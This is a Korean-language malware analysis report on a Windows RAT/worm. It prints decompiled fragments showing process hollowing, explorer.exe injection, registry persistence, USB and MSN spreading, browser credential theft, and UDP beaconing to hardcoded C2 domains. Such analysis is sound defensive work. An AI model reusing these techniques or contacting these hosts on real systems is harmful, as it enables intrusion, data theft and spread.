악성코드 분석보고서

해시 : (S02)8ccf06513f01febe7edbbf94ea2bb4c6723466bc7832f3f68ec7ebf73b21b84b

요약

(S02)8ccf06513f01febe7edbbf94ea2bb4c6723466bc7832f3f68ec7ebf73b21b84b는 Windows 32 비트 악성코드로 자가 복호화 후 explorer.exe에 은폐하여 다른 프로세스의 감염을 통해 시스템 정보를 수집하고, C2 서버와 암호화 통신으로 데이터를 유출하며, 영구 지속성을 확보하고 스스로 전파되는 RAT+worm 형태의 악성코드이다.

해당 악성코드는 아래와 같이 동작한다.

1. 자기 자신의 내부에 존재하는 암호화된 코드를 복호화해 스스로를 덮어씌우고 해당 코드를 실행시킨다.
2. 새롭게 덧씌워진 파일은 현재 실행환경이 일반적인 환경인지 분석 환경인지 판별한다.
3. 일반 사용자 환경으로 판단한 시 windows 기본 파일인 explorer.exe(탐색기)에 코드 인젝션을 시도하고 해당 코드**(쉘코드(1))**를 실행시킨다.
4. explorer의 쉘코드 실행이 성공하면 현재 실행중인 프로세스 중 하나에 다른 코드**(쉘코드(2))**를 인젝션하고 실행시킨다..

explorer에 인젝션된 **쉘코드(1)**은 다음과 같은 동작을 수행한다

1. 자신이 중복실행되지 않도록 고정된 이름의 뮤텍스를 생성하고 소유한다.
2. 원본 악성코드를 유저 폴더에 ctfmon.exe라는 이름으로 복사하고, 로그온 시마다 explorer와 동시 실행되도록 설정한다.
3. 하드코딩된 3개의 C2서버 도메인 tianianovic.sexy-serbia-girls.info/pro, property.banjaluke-ljepotice.ru/tak, takokeski.cultrarts.com/s에 번갈아가며 연결을 시도한다. 이때 연결은 UDP로 이루어지며 DNS나 IP변환을 이용해 주소를 확보한다.
4. C2서버 도메인으로부터 수신된 명령에 따라 개인정보 수집 및 유출, 디바이스 감염, 파일 드롭, 자가 전파, msn 스프레더 실행 등 다양한 악성 동작을 수행한다.
5. 종료 시에는 이전에 생성한 원본 악성코드의 복사본과 변경한 레지스터 등 모든 흔적을 초기화해 탐지를 피한다.

다른 임의의 파일에 인젝션된 **쉘코드(2)**는 다음과 같은 동작을 수행한다.

1. explorer를 지속적으로 감시하며 종료하는지 확인한다.
2. explorer가 종료 될 시 이전에 ctfmon.exe라는 이름으로 복제한 본체 악성코드를 재실행한다.

주요 동작 분석

-원본 악성코드 동작

```
int sub_401580()
{
  int i; // edx
  int result; // eax

  for ( i = 480592135; i < 480593691; i += 4 )
  {
    *(_DWORD *)(i - 476255163) ^= 0x3F498948u;
    result = dword_4170F7;
  }
  return result;
}
```

```
0058006C   56        push esi
0058006D   6A FF     push FFFFFFFF
0058006F   FFD0      call eax                    eax:ZwUnmapViewOfSection
```

이 악성코드는 실행 시 특정 메모리 영역을 xor로 복호화한 뒤, 복호화된 코드를 원래 프로세스의 메모리에 덮어쓰고 실행 지점을 덮어쓴 코드의 진입점으로 이동시킨다. 이 동작은 프로세스 할로잉(Process Hollowing)으로 분류된다.

```
0040102F   8A1C0E        mov bl,byte ptr ds:[esi+ecx]
00401032   02D8          add bl,al
00401034   32DC          xor bl,ah
00401036   FEC0          inc al
00401038   885C0C FF     mov byte ptr ss:[esp+ecx-1],bl
0040103C   E2 F1         loop 40102F
0040103E   BA D0214000   mov edx,4021D0
```

덮어쓴 코드는 파일의 일부를 다시 xor 복호화한 후 스택 영역에 저장해 해당 영역에서 직접 코드를 실행한다.

```
00191CC0   E8 AF690000   call <decrypt_>
```

스택 영역에서는 다시 파일 내부의 7072바이트 크기 데이터를 복호화한다.

```
001905B0  44 45 53 4B 54 4F 50 2D 32 4D 35 45 48 42 56 00  DESKTOP-2M5EHBV.
001905B0  55 53 45 52 00 00 00 00 00 00 00 00 00 00 00 00  USER
1: [esp] 0041B083 0041B083 "dbghelp.dll"
```

이후 사용자명이나 시스템의 이름, 혹은 분석환경에서만 실행되는 dll의 존재 여부를 체크하는

등 현재 환경이 실제 사용자 환경인지 분석 환경인지 확인한다.

사용자 환경으로 판단할 시 아래 목록 dll에 존재하는 api 이름을 저장한다.

Kernel32.dll에서 조회한 api

Kernel32.dll, ntdll.dll, user32.dll, Ws2_32.dllWininet.dll, Shell32.dll, Advapi32.dll

```
0019525D   FFD2   call edx   edx:CreateToolhelp32Snapshot
001952BA   FFD1   call ecx   ecx:OpenProcess
00195214   FFD1   call ecx   ecx:ZwWriteVirtualMemory
1: [esp] 000001F0 000001F0
2: [esp+4] 00CD0000 00CD0000
3: [esp+8] 0041A990 0041A990 "VirtualProtect"
4: [esp+C] 00000E78 00000E78
5: [esp+10] 00000000 00000000
00193678   FFD2   call edx   edx:CreateRemoteThread
```

api 조회까지 완료될 시 현재 실행중인 프로세스 중 explorer를 찾아 악성코드 내부의 데이터를 인젝션하고 실행시킨다. 보고서에서는 해당 코드를 **쉘코드(1)**로 지칭한다.

```
001936A4   FFD0   call eax   eax:NtSetInformationThread
```

인젝션한 악성코드의 실행이 성공하면 해당 스레드를 감지되지 않게 설정한다.

```
00195310   FFD0   call eax   eax:OpenProcess
```

이후 실행중인 프로세스 중 권한이 낮은 프로세스를 찾아 같은 방법으로 인젝션하고 실행시키고 종료한다. 보고서에서는 해당 코드를 **쉘코드(2)**로 지칭한다.

-쉘코드(1) 동작

```
05131C14   FFD2   call edx   edx:CreateMutexA
```

explorer에 인젝션 된 쉘코드(1)은 실행 즉시 하드코딩된 이름의 뮤텍스를 생성해 중복실행을 방지한다.

```
05131C7C   FFD2   call edx   edx:CopyFileA
1: [esp] 05140344 05140344 "C:\\Users\\USER\\Desktop\\(S02)
2: [esp+4] 05140448 05140448 "C:\\Users\\USER\\ctfmon.exe"
3: [esp+8] 00000000 00000000
05131CC5   FFD0   call eax   eax:SetFileAttributesA
```

뮤텍스를 확보한 후엔 자기 자신을 ctfmon.exe라는 이름으로 복사하고 읽기전용/숨김/시스템파일 속성으로 설정한다.

```
void (__stdcall *)(int, char *, _DWORD, _DWORD, _DWORD, int, _DWORD, int *, _DWORD))v10->RegCreateKeyExA)
-2147483647,                                   // 'Taskman'
```

```
( ((int (__stdcall *)(int, char *, _DWORD, _DWORD, _DWORD, int *))v10->RegQueryValueExA)(
    v12,
    (char *)v10->sub_5100000 + 0x8D2,     // 'Shell'
```

다음으로 winlogon 레지스트리의 taskman, shell을 수정해 pc 실행 시 explorer와 원본 악성코드가 동시에 실행되도록 설정한다.

```
call    edx                     ; RegisterClassExA
```

```
(void *)((int (__stdcall *)(_DWORD, char *, char *, _DWORD, unsigned int, unsigned int, unsigned int, unsigned int, _DWORD, _DWORD, _DWORD, _DWORD))v36->CreateWindowExA)
        0,
        (char *)v36->sub_5100000 + 0xD7F,
        (char *)v36->sub_5100000 + 0xD7F,// 'noaljclass'
```

```
(int (__stdcall *)(_BYTE *, _DWORD, _DWORD, _DWORD, int))v5->PeekMessageA)
```

```
(void (__stdcall *)(_BYTE *))v5->DispatchMessageA)
```

또 noaljclass라는 윈도우 클래스를 생성하고 메시지큐를 악성코드 내의 있는 별도의 함수 **custom_wndproc**에서 처리하게 한다.

```
if ( a2 == '\x02\x19' && a3 == 0x8000 )
```

```
if ( ((int (__stdcall *)(int, _DWORD *, _DWORD))v23->RegisterDeviceNotificationA)(a1, v18, 0) )
```

```
((void (__stdcall *)(_BYTE *, int))v23->lstrcatA)(v8, (int)v23->sub_5100000 + 0x887);// '\Desktop.ini'
v11 = ((int (__stdcall *)(_BYTE *, int, int, _DWORD, int, int, _DWORD))v23->CreateFileA)(
        v8,
```

```
((void (__stdcall *)(char *, int))v23->lstrcatA)(v27, (int)v23->sub_5100000 + 0xD8A);// '\autorun.inf
v21 = -1;
for ( i = 0; i < 100 && v21 == -1; ++i )
{
  ((void (__stdcall *)(char *, int))v23->SetFileAttributesA)(v27, 128);
  ((void (__stdcall *)(char *))v23->DeleteFileA)(v27);
  v21 = ((int (__stdcall *)(char *, int, _DWORD, _DWORD, int, int, _DWORD))v23->CreateFileA)(
          v27,
```

custom_wndproc는 usb 등의 디바이스 알림을 감지하고 연결된 디바이스의 desktop.ini와 autorun.inf를 임의로 조작하며 파일을 실행시키기도 하고 해당 상태를 C2서버로 보고한다.

즉 이 함수는 연결된 디바이스를 감염시키는 함수이다.

```
0513A9B0    FFD0    call eax    eax:socket
```

```
051CEF5C  00000002
051CEF60  00000002
051CEF64  00000011
```

위 동작까지 완료되면 IPV4 UDP 소켓을 개설하고 non-blocking 속성으로 설정한다. Non-blocking으로 설정하는 이유는 C2서버의 응답을 기다리는동안 프로그램이 멈추지 않게 하기 위함이다

이후 핵심 동작 루프로 진입해 종료 명령을 수신할 때까지 반복한다.

핵심 동작 루프

```
        strcpy(v35, "property.banjalucke-ljepotice.ru");
        v35[33] = 116;
        *((_WORD *)v35 + 17) = 27489;
        ++v29;
      }
      else
      {
        strcpy(v35, "takoseksi.cultarts.com");
        v35[23] = 115;
        v29 = 0;
      }
    }
    else
    {
      strcpy(v35, "tinaivanovic.sexy-serbian-girls.info");
```

```
mov     edx, [ebp+var_64]
mov     eax, [edx+168h]
call    eax             ; gethostbyname
```

```
05138976   FFD0   call eax   eax:sendto
051CE9A8  000004EC
051CE9AC  051CE9D8
051CE9B0  00000007
051CE9B4  00000000
051CE9B8  0317C9E8
051CE9BC  00000010
```

소켓이 개설되면 하드코딩된 위 3개의 도메인중 하나를 가져와 ip주소를 구하고 해당 도메인으로 7바이트의 패킷을 보내 응답을 기다린다. 이때 수신한 응답을 패킷(1)로 칭한다

```
051389CB   FFD0   call eax   eax:recvfrom
```

패킷(1)을 받을 시 해당 검사하고 다시 응답을 보내고, 그에 대한 응답을 다시 수신한다. 이때 받은 응답은 패킷(2)로 칭한다. 이는 UDP로 세션 ID와 ACK 응답, 재전송 큐를 직접 구현해서 TCP의 신뢰성을 모방한 것이다.

실제 명령어 동작은 패킷(2)에 포함된 것으로 보이며 패킷(2)를 검사하고 유효한 패킷으로 판단할 시 그 내용에 따라 11 가지 동작으로 분기한다.

동작 (1)

```
((void (__stdcall *)(V41_STRUCT *, int, char *))v41->api_table->check_string_and_enque_packet)(
  v41,
  1,
  (char *)v41->api_table->sub_5100000 + 0x769);// v1.51pro.b'
```

```
((void (__stdcall *)(_BYTE *, int, int))a1->api_table->memcpy___)(v7, a2, 1400);
v3 = *(_DWORD *)(a2 + 1400);
v5[0] = v7[1] ^ ~(_BYTE)v3;
v5[1] = v7[2] ^ ~(_BYTE)v3;

(int (__stdcall *)(int, _BYTE *, _DWORD, _DWORD, int, int))v8->api_table->sendto
```

(check_string_and_enque_packet)

이 악성코드의 버전으로 보이는 문자열(v1.51pro.b)을 xor 암호화한 후 C2서버로 전송한다.

동작 (2)

```
if ( !((int (__stdcall *)(_BYTE *, char *))v41->api_table->lstrcmpA)(
        v23,
        (char *)v41->api_table->sub_5100000 + 0x774) )// .razgulisabane'
  return -1;
```

명령어가 정확히 .razgulisabane일시, 즉시 종료 단계로 들어간다.

동작 (3)

```
if ( *v23 == 'm' && v23[1] == 48 && a3 == 3 )
{
  ((void (__stdcall *)(API_TABLE *))v41->api_table->unhook_process)(v41->api_table);
  ((void (__stdcall *)(V41_STRUCT *, int, char *))v41->api_table->check_string_and_enque_packet)(
    v41,
    1,
    (char *)v41->api_table->sub_5100000 + 0x819);// 'Done!
  return 2;
}
```

```
((int (__stdcall *)(_DWORD, _DWORD, int, int, int *))a1->VirtualProtectEx
(void (__stdcall *)(_DWORD, _DWORD, _BYTE *, int, _DWORD))a1->ZwWriteVirtualMemory)
```

(unhook_process)

후킹된 프로세스를 정리하고 c2서버로 알린다.

동작 (4)

```
v14 = (void *)((int (__stdcall *)(_DWORD, char *, char *, _DWORD, unsigned int, unsigned int, unsigned int, unsigned int, _DWORD, _DWORD, _DWORD, _DWORD))v41->api_table->CreateWindowEx
               0,
               (char *)v41->api_table->sub_5100000 + 0xD7F,// 'noaljclass'
               (char *)v41->api_table->sub_5100000 + 0xD7F,// 'noaljclass'
               0,
               0x80000000,
               0x80000000,
               0x80000000,
               0x80000000,
               0,
               0,
               0,
               0);
v41->api_table[1].sub_513E590 = v14;
```

```
(char *)v41->api_table->sub_5100000 + 0xD6A);// USB spreader running
```

앞에서 생성한 noaljclass 클래스의 사용자가 확인할 수 없는 숨겨진 윈도우를 생성하고 메시지 흐름을 custom_wndproc으로 가져와 연결되는 디바이스들을 감염시키고 C2서버에 보고한다

동작(5)

```
if ( !((int (__stdcall *)(_BYTE *, char *))v41->api_table->lstrcmpA)(
        v23,
        (char *)v41->api_table->sub_5100000 + 0x783)// .akidown'
  || !((int (__stdcall *)(_BYTE *, char *))v41->api_table->lstrcmpA)(
        v23,
        (char *)v41->api_table->sub_5100000 + 0x78C) )// .akiupdejt'
{
```

```
((void (__stdcall *)(_DWORD, int, void *, int, _DWORD, _DWORD))v41->api_table->CreateThread)(
  0,
  0x2000,
  v41->api_table->sub_5132CA0,
```

akidown 혹은 akiupdejt 명령어를 수신했을때, 스레드를 생성해 백그라운드에서 명령어에 포함된 url로부터 파일 업데이트 혹은 다운로드를 실행한다

동작 (6)

```
((int (__stdcall *)(API_TABLE *, char *, _DWORD *))v11->search_target_process)
  v11,
  (char *)v11->sub_5100000 + 0x7D2,     // 'msnmsgr.exe'
```

```
(int (__stdcall *)(API_TABLE *, _DWORD, void *, int))v11->injection_write)
 v11,
 *v8,
 v11->unknown,
 0x2000);
```

```
void (__stdcall *)(char *, char *))v11->lstrcatA)(&v28, (char *)v11->sub_5100000 + 0x7E9);// 'MSN spread started, link:
```

msnsgr.exe프로세스에 인젝션해 특정 동작을 수행한다. 문자열에서 MSN spread로 유추 가능하다
*MSN spread : MSN 메신저를 이용한 온라인 악성코드전파

동작 (7)

```
((int (__stdcall *)(API_TABLE *, _BYTE *, int))v41->api_table->create_tcp_connection)(
```

```
((void (__stdcall *)(V41_STRUCT *, int, char *))v41->api_table->check_string_and_enque_packet)
 v41,
 1,
 (char *)v41->api_table->sub_5100000 + 0x819);// done
```

```
((int (__stdcall *)(int, int, int))a1->socket)(2, 1, 6);

((void (__stdcall *)(int, int, int))a1->connect)(v3, a2, 16);
```

(create_tcp_connection)

C2서버와 TCP 연결을 수행하고 성공/실패 메시지를 전송한다

동작 (8)

```
(void (__stdcall *)(_DWORD, _DWORD, char *, _DWORD, _DWORD, bool))v14->api_table->ShellExecuteA)
 0,
 0,
 v14->url_or_data,
```

```
(int (__stdcall *)(void *, char *, _DWORD, char *, char *, int, _DWORD, _DWORD))v14->api_table->InternetConnectA)
```

```
(void (__thiscall *)(HTTP_REQUEST_STRUCT *, int, _DWORD, _DWORD, _DWORD, _DWORD))v14->api_table->HttpSendRequestA)(
```

```
(void (__stdcall *)(int, _BYTE *, int, int *))v14->api_table->InternetReadFile)(v17, v23, 1, &v13);
```

명령어에 따라 수신한 URL을 브라우저로 직접 실행하거나 HTTP로 연결해 미상의 파일을 다운로드한다.

동작 (9)

```
((void (__stdcall *)(API_TABLE *, _BYTE *, int))v13->execute_target_file)(
```

```
((void (__stdcall *)(_BYTE *, char *, int))v13->lstrcpynA)(v9, (char *)v13->sub_5100000 + 0xD5C, 14);// P2P Copy to:
```

```
(int (__stdcall *)(API_TABLE *, char *, _DWORD, _DWORD, _DWORD, int, _DWORD, _DWORD, _DWORD *, _BYTE *))v10->CreateProcessA)
 &v10[1],
 &v6,
 0,
 0,
 0,
 32,
 0,
 0,
 v4,
 v11);
```

특정 파일들을 실행하고 P2P copy가 되었다는 문자열을 C2서버로 전송한다. 파일 전파 로직으로 추정

동작 (10)

```
(int (__stdcall *)(int, int, _DWORD, int, int *))v46->RegOpenKeyExA)(
 -2147483647,
 (int)v46->sub_5100000 + 0xB30,// 'Software\Microsoft\Internet Explorer\IntelliForms\Storage2'
```

```
(int (__stdcall *)(int, int, _DWORD, int, int *))v34->RegOpenKeyExA)(
 -2147483646,
 (int)v34->sub_5100000 + 2353,          // SOFTWARE\Clients\StartMenuInternet\firefox.exe\shell\open\command
```

```
(int (__stdcall *)(int *, _DWORD, _DWORD, _DWORD))((int (__stdcall *)(int, int))v15->GetProcAddress)(
                                                   v14,
                                                   (int)v15->sub_5100000 + 0xA35);// 'PStoreCreateInstance'
```

파이어폭스/익스플로러/윈도우 자체에 접근해 저장된 프로필이나 기타 개인정보를 탈취해 C2서버로 전송한다.

동작 (11)

```
(void (__stdcall *)(int, int, _BYTE *, int))v41->api_table->GetLocaleInfoA)
```

```
((void (__stdcall *)(int *))v41->api_table->GetVersionExA)
```

```
(int (__stdcall *)(_BYTE *, int *))v41->api_table->GetUserNameA)
```

OS버전, 사용자이름 , 로케일과 같은 사용자 정보들을 수집해 C2서버로 전송한다.

위와 같은 동작들 중 하나를 종료 명령을 수신할 때까지 반복한다.

```
(void (__stdcall *)(void *))ii->DestroyWindow)
```

```
(void (__stdcall *)(_DWORD))ii->UnregisterDeviceNotification)
```

```
(void (__stdcall *)(int, int))v4->RegDeleteValueA)(v5, (int)v4->sub_5100000 + 0x8D2);// 'Shell'
```

종료 시에는 윈도우, 레지스터, 메시지 디스패치, 소켓 등 쉘코드(1)이 남긴 모든 흔적을 정리하고 종료한다.

쉘코드(2) 동작

```
031F001B    FFD1    call ecx    ecx:GetProcessVersion
```

쉘코드(2)는 explorer.exe에 인젝션된 쉘코드(1)을 대상으로 GetProcessVersion()을 계속해서 실행한다.

해당 api의 성공 여부만을 확인하며 실패할때까지 반복한다. 호출이 실패하면 다음 동작으로 진행한다

```
031F0092    FFD0    call eax    eax:CreateProcessA

04D1FA6C  00000000
04D1FA70  031E0004  "C:\\Users\\USER\\ctfmon.exe"
04D1FA74  00000000
04D1FA78  00000000
04D1FA7C  00000000
04D1FA80  00000020
04D1FA84  00000000
04D1FA88  00000000
04D1FA8C  04D1FA94
04D1FA90  04D1FAE4
```

Explorer.exe가 종료됐다고 판단할 쉘코드(2)는 쉘코드(1)이 복사한 원본 악성코드 파일을 재실행시키고 종료한다